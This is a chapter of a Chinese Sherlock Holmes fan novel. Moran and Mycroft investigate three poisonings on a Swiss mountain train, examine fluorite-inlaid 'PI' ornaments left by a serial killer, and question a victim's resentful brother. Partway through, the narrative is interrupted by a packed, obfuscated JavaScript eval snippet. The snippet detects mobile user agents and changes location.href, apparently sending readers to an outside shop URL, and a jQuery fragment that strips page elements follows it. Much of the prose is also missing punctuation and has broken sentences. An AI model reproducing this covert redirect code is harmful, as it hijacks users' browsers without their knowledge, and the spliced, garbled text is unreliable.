第 63 章 。
作品:《你好,神秘法医[福尔摩斯]》 Chapter63
戴蒙尚未在古希腊神话中找到最适合形容麦考夫的神灵称谓,就被他不由分说地带走,去见了一个人。
不是别人,正是莫伦。
她一边在山脚小镇购买今夜上山后的露营装备,一边向店家打听四五天前是否有陌生的白发神父出没。
上个月末,刚刚完全开通的瑞吉山登山铁轨全程五公里,单程耗时一般在半小时~40分钟。
登山火车死亡事件里,三位死者是在上山末班火车到站时被人发现了异样。
换句话说,三人的死亡发生在车辆行径的三四十分钟之中。
凶手一次给三个人下了毒,他必须确保毒酒在三人身上都发挥了作用。
那么凶手也在同一列火车上吗?或是在山上的车站终点附近,观察确认本次谋杀彻底完成?
鉴于这个原因,稍后肯定要登上瑞吉山,找一找是否有凶手不小心留下的线索。
莫伦在小镇里转了一圈,发现当地的悠闲度假气氛没有发生变化,看起来死亡事件的消息暂时封锁得很成功。
从各家店员的口中,不曾探查到一字半句与白发天主教神父有关的消息。
或是因为游客络绎不绝,或是因为X换下了神父套装使用了其他身份,没有哪家店铺对莫伦描述的陌生男人有印象。
莫伦对这个结果毫不意外。
她回到暂住的旅店,先在麦考夫的介绍下,与使馆事务官哈利·戴蒙相互认识。
没有寒暄,直入正题。
戴蒙表示为了更好地封锁消息,没有把三位死者的遗体停放在小镇治安所,而是暂存在登山火车管理处的备用地下室内。
“我已经向大卫、罗恩的家属发去了认领尸体的通知,大卫的父母明天中午能到山脚小镇。
罗恩的父亲罗杰斯侯爵,据闻去了尼罗河度假,尚未与他取得直接联系。也许是侯爵府的管家来认领罗恩的尸体,也许罗恩的其他亲属前来认领,但对方仍未给我具体回复。
戴蒙暂时压下罗恩死亡的消息,只是不愿让自己的工作平添麻烦,避免被牵扯到侯爵家族内斗中。
等到罗恩家里来人,该散播消息或是做其他处理,那就是罗杰斯家族的事了。
“不过这种消息封锁无法持续太久最多还有十四天。”
戴蒙提起昨天就赶来认尸的奥威·格鲁贝尔。
“小提琴手阿布的哥哥奥威昨天从奥地利赶来了。小镇治安官很难处理这样棘手的三人死亡事件奥威表示要出钱找有本事的侦探去查明弟弟的死亡真相。”
戴蒙:“我与奥威商议了请他等一等再请侦探。先让英方主导调查避免多人追查反而相互掣肘。
奥威给出期限他最多等半个月。半个月后
说完大致情况戴蒙问:“两位下一步准备怎么做?”
莫伦问:“三位死者的随身物品在哪里?小提琴手阿布的那一份已经交奥威先生了?”
戴蒙点头“是的。据我所知奥威正在联络运送尸体的车队估计明天或后天会把弟弟阿布的尸体先送回奥地利。”
麦考夫:“看来我们很有必要见一见奥威。”
去见奥威之前先去看了大卫与罗恩的遗物。
主要是观察带有「PI」标识的摆件。
与前两位被害者拜尔、迈耶佩戴了相同款手链不同这次给大卫、罗恩的摆件大小相近但造型各异。
相对金手链摆件的制作更精致。
摆件约成年人一只拳头大造型分别与大卫、罗恩的专业有关。
大卫研读雕塑系。
给他的摆件下方是微缩木制三脚架桌桌上放了三件微缩物品——石膏人头雕像、木槌与凿子。
三脚架桌与桌上物品用胶水固定了起来整个成品是雕刻师工作场景的展现。
这块「PI」吊牌约一个硬币大造型与金手链上的吊牌一模一样。它被挂在微缩三脚架桌的一条桌腿上。
再说给罗恩的摆件造型描述了他的绘画专业。
微缩的立式木制画架其上黏着一只微缩的调色盘同款「PI」标识挂在画架模型上。
两个摆件的精致度不只体现在微缩物品的做工精湛上还有一些设计的小心思。
雕刻家造型摆件上那只微缩石膏人头像的一对眼睛是镶嵌了两颗石头。
同样质地的石头也被镶嵌在画架摆件的调色盘上
。
这种石头看起来很像是萤石。
天然萤石有一种特性它具备磷光效应。
当受到一定量的紫外线光照将它移到黑暗环境中就会散发出幽幽荧光。夜明珠多用萤石制作。
在电灯不普及的时代需要在白天把萤石放在太阳光可照射范围内夜间就能看到它们散发荧光。
发光又见发光!
尽管两种发光原理是截然不同的。
迈耶的死亡现场是用鲁米诺试剂与清洁杀虫剂制造了短暂的荧光
当下莫伦将摆件放到暗处却看不到光亮。
莫伦问戴蒙:“近四天两只摆件都被放在背包内?”
“是的。”
戴蒙回答:“也没人翻动大卫、罗恩的背包一直都被锁在这间房里。”
莫伦:“这两只摆件先借我一用给它们晒晒太阳确定上面镶嵌的是真萤石。”
戴蒙没意见他看了麦考夫对于连环杀人犯X的作案简报获知「PI」标记是X作案的特征。
“这个凶手为什么在杀人前给被害人送摆件呢?”
麦考夫摇头“暂时未知。如果找出这个答案很可能就会揭开X的作案动机。另一位死者阿布·格鲁贝尔他收到的摆件是什么造型?”
之前戴蒙不知道摆件所代表的深层含义也就没有认真观察三位受害者背包里的不同摆件造型。
“好像是一种乐器?小提琴吧?我不确定需要找奥威把东西拿出来细看。”
除了凶手赠送的摆件大卫与罗恩的其他遗物不见异常都是露营必备的物品。
莫伦没有看到酒壶或酒瓶问:“背包里有酒吗?确定让三人中毒的毒.酒是装在哪只瓶子里?”
戴蒙摇头:“小镇几乎没有化学检测设备无法做毒理检测。不过初步推测那瓶致命毒酒没被三人带上火车。
从三人背包里一共找出了五瓶威士忌但都是原装未开封的。猜测那瓶毒酒可能在7月4日下午茶期间被饮尽瓶子被留在了山脚下。”
莫伦:“我猜您没有彻底搜查山脚小镇的垃圾堆未曾把可疑酒瓶找出来吧?”
戴蒙被问懵了。
愣了愣,不可思议地转头看向麦考夫。
他的神色不能更明显:「啊!您听到了吗!您介绍的调查者,她让我去翻垃圾桶!」
麦考夫理所当然地回视,眼神直白:「做事严谨,不应该吗?」
十几分钟前,戴蒙还在追求措辞严谨。强调距离死亡事件发生不是过了四天,而只过了92小时。
眼下,谈论的是最关键的凶器证物,他怎么不贯彻严谨态度了?
莫伦根本不认为她在为难人。
穿到这个世界的第三天,她就和雷斯垂德一起去垃圾堆寻找证据。
麦考夫也很清楚,四天过去了,99%找不到那只毒酒酒瓶。
他还是追问戴蒙:“小镇多久向外运送一次垃圾?”
戴蒙不知道,“也许一天一次?总不会是四天一次。”
这就去问了旅店服务员。
得到回答,每天半夜三四点左右,垃圾会被集中运出小镇,统一送到处理点掩埋。
找不到毒酒瓶,至少能向受害者家属了解一些情况。
奥威·格鲁贝尔见到找上门的调查者,却是神色淡淡,没有任何欢迎的表情。
听到戴蒙说,请他取出阿布的登山背包,想看一看阿布留在现场的遗物,他的眉头蹙得更紧。
“呵!”
奥威冷哼一声,快速转身拿出背包,往桌上一扔。“想看是吧?给,你们好好看!”
奥威双手交叉抱在胸前,扬起下巴,就差轻蔑地直说「倒要瞧瞧你们能从阿布的遗物里看出什么花来!」
莫伦早就习惯了死者家属的生物多样性。
在面对死亡时,人类的各种情绪被放得更大了。
有人配合就有人刁难,有人表面支持却说着虚假证词,有人情绪暴躁但是真心找出凶手。
莫伦二话不说,打开了背包。
把小提琴手阿布的遗物,一一摆放到了桌上。
麦考夫向奥威问起了死者生前的交友情况。
“您对您的弟弟了解吗?阿布与大卫·布莱恩、罗恩·罗杰斯是怎么认识的?相识多久了?阿布是否说过他们三人与其他什么人走得比较近?”
“我当然关心我的弟弟。”
奥威表示:“阿布在前年夏季
的巴黎艺术沙龙上认识了大卫与罗杰斯。近两年,他们三个少说聚会了七八次。多是阿布去英国演出时与两人相聚,也会相约一起去参加法国艺术展。
“至于你问他们三个还与谁走得近?那就数不过来了。像他们那些爱好艺术的人,相互关系好,走得近的人太多了。
奥威不免语带嘲讽地说:
“我弟弟爱交朋友。我劝过几次让他长点心眼,朋友也许会带来不确定的风险。
奥威说着斜了一眼戴蒙。
别以为他好糊弄,能让使馆事务官来处理这次的死亡事件,还不是英方怀疑三人的死与罗恩·罗杰斯的家族内斗有关。
奥威憋着一股气,认定弟弟是被狐朋狗友牵连了。现在英国使馆找了调查员,但也无法还给他活着的弟弟。
他不免更夹枪带棒地说:“阿布以前不听我的劝说,这次是把命也赔掉了。我也没办法,阿布的缺点就是天性浪漫。福尔摩斯先生,您肯定懂的。
麦考夫第一次听到这种说法,自己与“天性浪漫有一便士的关系吗?
奥威特意扫了一眼桌边的莫伦,又向麦考夫挑了挑眉。
「你来查凶杀案,还带一位美女同行,这还不是天性浪漫?」
麦考夫不动声色,心底少见地被挑起了不悦。
奥威的言行不仅是质疑莫伦的能力,也质疑了他的品格。
这不是善意地调侃,而是本能地戴着有色眼镜看人。
奥威即便耳朵不好,刚才没听清的两人自我介绍,难道他的眼睛也是摆设,看不到莫伦在认真检查遗物吗?
看来奥威·格鲁贝尔是准备用脑子给弟弟殉葬。
麦考夫默默记了一笔,之后他会让一个人知道丢失脑子的苦恼。
“格鲁贝尔先生。
莫伦若无其事地开口询问:“您说很了解您的弟弟,他是一位小提琴手,那么他擅长里拉琴吗?
里拉琴,即古希腊的七弦竖琴。
奥威愣了愣,很快点头。“当然,阿布擅长多种乐器。
莫伦之所以这样问,因为凶手给阿布的「PI」标示摆件,不是小提琴微缩模型,反而是里拉琴模型。
这只里拉琴微缩模型,也镶嵌了同材质的萤石。
莫伦追问:“阿布先生什么时候演奏过里拉琴?与他的小提琴造诣相比他在里拉琴上的艺术成就更高吗?”
奥威不曾见过弟弟演奏里拉琴也不记得弟弟有过相关演出。
他回答不上来只能反问:“这件事很重要吗?!你该不是想说我弟弟的死亡是他演奏里拉琴招来的吧?”
奥威压根不信这种推测那就意味着弟弟之死的责任不在罗恩身上。自己作为哥哥甚至要承担一部分责任是不够关心弟弟。
奥威厉声否认:“那绝对不可能我不会接受这种荒谬的胡乱猜测!”
莫伦看出了奥威的刚愎自用。
舒兹教授很傲慢但他更重视查出侄子迈耶的死亡真相愿意让步妥协。
相较而言奥威对弟弟阿布的关心却没有维护他本人的颜面重要。
“刑事侦查的基本原则是客观全面我不会忽视各种可能性。”
莫伦只扔下这一句没有与奥威说明此前发生的连环杀人案。
由于某些死者亲属固执己见不能在案件没有告破前让他们知道太多内幕反而会给破案带来难度。
假设奥威知道内幕后再私下找上记者发表一番他对「PI」连环杀人案的不认同说辞。
这让凶手X看到了谁能保证X不被刺激到再度改变作案模式?
莫伦才不会傻到为一两句口舌之争给自己挖坑提升抓捕X的难度。
只要尽快抓到X让他伏法认罪奥威的脸自然会被打肿。
奥威不承认自身不够客观梗着脖子对戴蒙强调一件事。
“我是同意了你方先调查但要提醒你
戴蒙之前被莫伦问及怎么没去垃圾堆找酒瓶时他没有感到不悦他清楚是自己做事不够严谨。
此刻被奥威的强调言论威胁了无法不生出浓浓的厌恶。
戴蒙不喜欢被无端威胁但还是给出标准微笑。“我方会遵守约定愿您也能一样信守承诺。”
奥威冷哼:“呵!我怎可能不守约。”
麦考夫却不信奥威的品性。
这个人现在对外保持安静是他暂时没找到能够添油加醋的话题<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100725|129051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
。
麦考夫面不改色地继续套话:
“正如您说的,您很配合我们的工作。还请您仔细回忆,过去两年间阿布先生与罗恩、大卫的详细聚会时间与地点。”
奥威不耐地依次报出了八次聚会的大致时间场所。有音乐会、画展、雕塑展,也有篝火晚会。
“这是我知道的情况,阿布也不会次次向我报备,可能他去过一些我不清楚的聚会。就像这次,我之前没听他要来瑞吉山登山野营。”
麦考夫接着问:“除了音乐,阿布先生有其他兴趣爱好吗?比如研究物理学,比如出海钓鱼之类的?”
“没有。”
奥威说得肯定:“阿布从小对自然科学不感兴趣,他看到物理数学书就头疼。也没有出海兜风的喜好,他晕船,所以至今不接受美国发出的演出邀请。”
麦考夫与莫伦对视一眼。
这意味着第三次死亡事件的死者阿布,与前两次谋杀案的迈耶、拜尔也难有交集。
三次谋杀,五位死者。
凶手谋杀了家庭背景、生活区域、专业喜好各不相同的五位被害人,他的谋杀动机是什么?
从X送出的定制摆件,也能推定他绝非随机作案,而是挑选了符合「标准」的受害者。
被X列入死亡名单的「标准」又是什么呢?
麦考夫又旁敲侧击地询问了奥威几个问题,确认他不清楚弟弟阿布是否与陌生白发神父发生往来。
在奥威身上找不到更多线索,也就不必多停留。
三人出门,戴蒙瞧了一眼怀表,对莫伦与麦考夫说:
“还有五十分钟,登山末班车发车。山上没有餐厅,给我一个请客的机会,感谢两位远道而来施以援手。”
戴蒙也想在餐桌上缓和一下气氛,不愿让为他解决麻烦的帮手心存不快,刚才奥威的言行着实让人不舒服。
“等用过晚餐,两位再坐车上山吧。不必担忧赶不上火车,我可以与列车员工沟通,加开一次。”
麦考夫看向莫伦。
两人交换了一个眼神,都没想留下来吃饭。
莫伦感谢戴蒙的好意:
“谢谢您的邀请,但不必让火车加开班次。我们回旅店随意用些三明治,乘坐日常班次上山即可,更能
还原三位死者的旅程路线。”
麦考夫让戴蒙安心:“不必遗憾这一顿我帮您记好了。等案件告破我会为您安排一次充分展示您请客实力的机会。”
戴蒙:……
瞧你俩沉着从容的模样完全不受奥威的言语影响是不需要别人的安慰。
那样一来他的请客行为是不是略显傻乎乎的?他真没有非让钱包出血才高兴的嗜好。
戴蒙自我安慰算了到时候就当是庆功宴了。
这就先把两人送回旅店告辞前又叮嘱几句。
“山上有紧急电报联络站和山脚值班室一样24小时有人值班。万一发现异样及时联络再行动。”
莫伦与麦考夫告别了戴蒙。
在旅店用了一顿简餐确认露营装备没有缺失提前到火车入站口。
时近晚七点六月的瑞士天空依旧明亮需再等三个小时才迎来黑夜。
登山火车不大。
目前每个火车头拉载一节车厢上山每次单程最多运载三十人。
末班车没满座稀稀疏疏只有七位乘客。
19点准时发车。
“突、突、突……”
开动火车很快从蒸汽机车头的烟囱中冒出一股股浓郁的灰白烟雾。
沿着铁轨火车向上爬坡。
车行速度不快更让沿途瑰丽的风景变成一幅幅浓墨重彩的油画。
青山叠翠
最奇妙是随风而来的灰白烟雾。
烟雾忽浓忽淡笼罩着整节车厢一路模糊了乘客的视线。
莫伦靠窗而坐。
她隔着玻璃窗望着雾气时聚时散感觉颇为新奇。
火车喷出的灰白烟雾不仅包裹了车厢也让车厢里的人群如坠迷幻世界。
雾里观景这是19世纪蒸汽时代特有的体验。
雾气将人对真实的感知大幅度地削弱让周身的一切变得影影绰绰。
麦考夫看出莫伦跃跃欲试的神色。
似乎在下一秒她就会打开车窗用指尖去触摸灰雾幻境。
“您是第一次乘坐火车?”
麦考夫企图以谈话唤醒
莫伦的理智车辆行驶时把手伸出车窗可不是明智行为。
莫伦略留恋地收回了观测雾气的目光
“是的我第一次乘坐蒸汽火车。虽然清楚铁轨是实打实地铺设在山路上但坐在车厢里被烟雾缠绕时有一种会被雾气送入奇幻异世界的错觉——这很奇妙。”
麦考夫轻轻点头有这种感觉很正常。
“四十三年前世界上第一条客运铁路从利物浦——曼彻斯特正式开通当时很多乘客与您一样有类似的时空错位感。习惯后人们反而抱怨起雾气令人不适了。”
莫伦问:“您呢?您的火车初体验是与大众一样还是与众不同?”
“我?”
麦考夫鲜少回忆过往但还是精准记起了第一次乘坐火车的感觉。
“我承认我也不能免俗。第一次坐火车是十年前随父母、弟弟一起出行。那次火车喷出的烟雾比今天黑太多了。
我和弟弟都希望让烟雾变色能像彩虹一样五颜六色就更好了。于是我们迈出了前往火车头的脚步。”
麦考夫想起当年十五岁的自己带着八岁的夏洛克自认神色自若地离开座位。
兄弟俩顶着一脸「我们绝不做坏事」的表情企图踏出改变火车烟雾史的历史脚步。
莫伦看着麦考夫的追忆神色当时的结局想来是注定的。“你们被拦在车厢出口了?”
麦考夫摇头“很遗憾您估计错误我没能触摸车厢门框比那更失败。我与弟弟只离开座位三步就被母亲叫住了。
母亲让我们暂停奇思妙想她不希望全家在外祖母的生日宴上迟到还要说出荒唐原因——不怪别人只怪两个福尔摩斯大闹火车头。”
麦考夫说着也笑了。
“就这样我的火车冒险之旅中道崩殂。虽然母亲当时的用词是「暂停」而非「停止」但我与弟弟没有再次重启向火车蒸汽机加料的念头。”
莫伦也笑了现在对两个多月前麦考夫在伦敦大学展览会上的暗示有了更一层的认识。
“四月末展示会坐在您身边的就是您的弟弟。”
麦考夫:“对是我的弟弟夏洛克。”
莫伦缓缓点头:“我明白了。其实是